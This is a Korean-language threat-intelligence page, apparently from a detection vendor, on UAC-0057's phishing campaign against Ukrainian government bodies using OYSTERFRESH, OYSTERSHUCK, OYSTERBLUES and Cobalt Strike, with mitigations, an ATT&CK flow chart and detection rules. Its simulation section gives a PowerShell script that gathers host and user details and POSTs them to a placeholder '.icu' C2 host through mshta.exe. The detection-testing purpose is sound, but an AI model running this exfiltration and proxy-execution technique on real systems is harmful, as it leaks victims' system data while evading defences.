UAC-0057, OYSTERFRESH, OYSTERSHUCK, OYSTERBLUES로 도구 키트 업데이트
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
CERT-UA는 우크라이나 정부 조직을 대상으로 한 피싱 캠페인을 보고했습니다. 이메일에는 PDF 첨부 파일이 포함되어 있으며, 수신자를 ZIP 아카이브로 리디렉션하여 OYSTERFRESH, OYSTERSHUCK, OYSTERBLUES로 알려진 악성 JavaScript 파일을 전송합니다. 실행되면 악성코드는 시스템 정보를 수집하여 HTTP POST 요청을 통해 전송하며, 이후에는 Cobalt Strike 구성 요소를 추가로 가져올 수 있습니다. 지원 인프라는 Cloudflare 뒤에 은폐되어 있으며, 광범위하게 사용됩니다. .icu 도메인.
조사
CERT-UA의 분석에 따르면 악성 JavaScript 샘플, 문자열 반전, ROT13 및 URL 디코딩을 포함한 디코딩 방법, 지속성을 유지하는 데 사용되는 레지스트리 변경 사항이 식별되었습니다. 조사자들은 또한 감염 체인과 관련된 여러 파일 아티팩트와 Windows 경로를 문서화했습니다. 네트워크 분석은 활동이 Cloudflare로 보호된 .icu 호스팅 인프라와 연결되어 있음을 나타냅니다. 보고서는 추가로 Cobalt Strike 비콘의 추가 전송 가능성을 언급합니다.
완화 방안
조직은 wscript.exe 의 실행을 표준 사용자에게 제한하고, PowerShell 및 JavaScript 실행을 제한하며, 의심스러운 변경 사항에 대해 나열된 레지스트리 실행 키를 모니터링해야 합니다. 웹 필터링을 사용하여 .icu 도메인을 차단하고, 적절한 경우, 캠페인과 연결된 Cloudflare 관련 IP 범위를 차단해야 합니다. 방어자들은 또한 최소 권한 제어를 적용하고, 알려지지 않은 바이너리의 자동 실행을 방지해야 합니다.
대응
보안 팀은 식별된 파일 이름, 레지스트리 키 및 알려진 도메인으로의 아웃바운드 HTTP POST 트래픽에 대한 탐지를 생성해야 합니다. 사냥은 또한 CSBEACON DLL과 MicrosoftEdgeUpdateTaskMachine라는 모든 예약된 작업을 포함한 가능한 Cobalt Strike 페이로드를 커버해야 합니다. 엔드포인트 조사는 JavaScript 디코딩 및 실행 체인을 추적하기 위해 프로세스 트리를 수집해야 합니다.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef process fill:#ffcc99 %% 노드 action_phishing[“<b>행위</b> – <b>T1566.001 피싱</b><br/>스피어피싱 첨부: ZIP 링크가 포함된 악성 PDF 이메일 전송”] class action_phishing action action_user_exec[“<b>행위</b> – <b>T1204.002 사용자 실행</b><br/>피해자가 PDF/ZIP을 열고 JavaScript OYSTERFRESH 실행”] class action_user_exec action malware_oysterfresh[“<b>악성코드</b> – OYSTERFRESH<br/>ZIP으로 전달된 JavaScript 파일, 공격 진입점”] class malware_oysterfresh malware action_obfuscate[“<b>행위</b> – <b>T1027.008 난독화</b><br/>문자열 뒤집기, ROT13, URL 디코딩으로 페이로드 난독화”] class action_obfuscate action malware_oysterblues[“<b>악성코드</b> – OYSTERBLUES<br/>레지스트리 항목을 작성하고 지속성 구성 요소 실행”] class malware_oysterblues malware tool_wscript[“<b>도구</b> – wscript.exe<br/>추가 JavaScript 구성 요소 실행을 위한 Windows Script Host”] class tool_wscript tool action_proxy_exec[“<b>행위</b> – <b>T1127 프록시 실행</b><br/>wscript.exe를 사용하여 OYSTERSHUCK 및 OYSTERBLUES 실행”] class action_proxy_exec action action_persistence[“<b>행위</b> – <b>T1547.014 지속성</b><br/>HKCU Run 키를 생성하여 로그인 시 MicrosoftEdgeUpdate.exe 및 EdgeApp.exe 실행”] class action_persistence action action_discovery[“<b>행위</b> – <b>T1057 프로세스 탐지</b><br/>프로세스 목록, 컴퓨터 이름, 사용자, OS 버전, 부팅 시간 수집”] class action_discovery action process_c2[“<b>프로세스</b> – C2 서버로 HTTP POST<br/>수집된 시스템 정보 전송”] class process_c2 process action_embedded_payload[“<b>행위</b> – <b>T1027.009 임베디드 페이로드</b><br/>JavaScript에 포함된 Cobalt Strike 비콘을 eval로 실행”] class action_embedded_payload action malware_cobalt_strike[“<b>악성코드</b> – Cobalt Strike 비콘<br/>임베디드 악성 페이로드”] class malware_cobalt_strike malware %% 연결 action_phishing –>|전달| action_user_exec action_user_exec –>|실행| malware_oysterfresh malware_oysterfresh –>|수행| action_obfuscate action_obfuscate –>|생성| malware_oysterblues malware_oysterblues –>|사용| tool_wscript tool_wscript –>|활성화| action_proxy_exec action_proxy_exec –>|실행| malware_oysterblues action_proxy_exec –>|실행| malware_oysterfresh action_proxy_exec –>|실행| malware_cobalt_strike action_persistence –>|구축| process_c2 action_discovery –>|전송| process_c2 action_embedded_payload –>|실행| malware_cobalt_strike
공격 흐름
탐지
가능한 지속성 포인트 [ASEPs – 소프트웨어/NTUSER 하이브] (레지스트리 이벤트를 통해)
보기
실행 키에 추가된 의심스러운 파일 확장자 [ASEPs] (레지스트리 이벤트를 통해)
보기
메일 클라이언트에서 직접 아카이브 추출 (프로세스 생성 통해)
보기
ZIP 아카이브에서 실행 [7zip] (프로세스 생성 통해)
보기
RAR 아카이브에서 실행 [WinRAR] (프로세스 생성 통해)
보기
LOLBAS WScript / CScript (프로세스 생성 통해)
보기
LOLBAS RunDLL32 (명령줄 통해)
보기
아카이브에서 추출된 의심스러운 파일 (파일 이벤트 통해)
보기
의심스러운 예약 작업 (감사 통해)
보기
비정상적인 최상위 도메인 (TLD) DNS 요청을 통한 의심스러운 명령 및 제어 (DNS 통해)
보기
IOCs (HashSha256) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES 2부
보기
IOCs (HashSha256) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES 1부
보기
IOCs (HashSha1) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES
보기
IOCs (HashMd5) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES 2부
보기
IOCs (HashMd5) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES 1부
보기
IOCs (SourceIP) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES
보기
IOCs (DestinationIP) 탐지: 업데이트된 툴킷 UAC-0057: OYSTERFRESH, OYSTERSHUCK 및 OYSTERBLUES
보기
OYSTERBLUES의 HTTP POST를 통한 .icu 도메인으로의 데이터 유출 탐지 [Windows 네트워크 연결]
보기
wscript.exe를 통한 악성 JavaScript 실행 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
필수 조건: Telemetry 및 Baseline 사전 비행 점검이 통과했어야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대 기술 (TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영하며 탐지 로직이 기대하는 정확한 원격 측정을 생성합니다.
-
공격 내러티브 및 명령:
적은 서명된 Windows 바이너리 (mshta.exe)을 활용하여 작은 JavaScript 페이로드를 실행하여 시스템 정보를 수집하고 이를 C2 서버가 제어하는 악성 “*.icu” 도메인으로 HTTP POST를 통해 유출합니다. 이 “지역 자원을 활용한” 접근법은 AV 경보를 유발하지 않으면서도 규칙이 모니터링하는 정확한 방화벽 이벤트를 생성합니다 (POST + “.icu”). -
회귀 테스트 스크립트:
# OYSTERBLUES 스타일의 데이터 유출 시뮬레이션 # 1. 최소 시스템 정보를 JSON으로 인코딩 $info = @{ hostname = $env:COMPUTERNAME user = $env:USERNAME os = (Get-CimInstance -ClassName Win32_OperatingSystem).Caption } | ConvertTo-Json -Compress # 2. JS fetch POST를 실행하는 임시 HTML 파일 작성 $htmlPath = "$env:TEMPexfil.html" $js = @" var data = '$info'; fetch('http://malicious-c2.abc.icu/collect', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: data }); "@ Set-Content -Path $htmlPath -Value "<script>$js</script>" -Encoding ASCII # 3. mshta를 통해 실행 (서명된 바이너리 프록시 실행) Start-Process -FilePath "$env:SystemRootSystem32mshta.exe" -ArgumentList "`"$htmlPath`"" # 4. 요청이 완료될 때까지 대기 후 정리 Start-Sleep -Seconds 5 Remove-Item -Path $htmlPath -Force -
정리 명령:
# 남아있는 mshta 프로세스가 종료되었는지 확인 Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force # 남아있는 임시 파일 제거 (있는 경우) $tempFiles = Get-ChildItem -Path $env:TEMP -Filter "exfil.html" foreach ($file in $tempFiles) { Remove-Item $file.FullName -Force }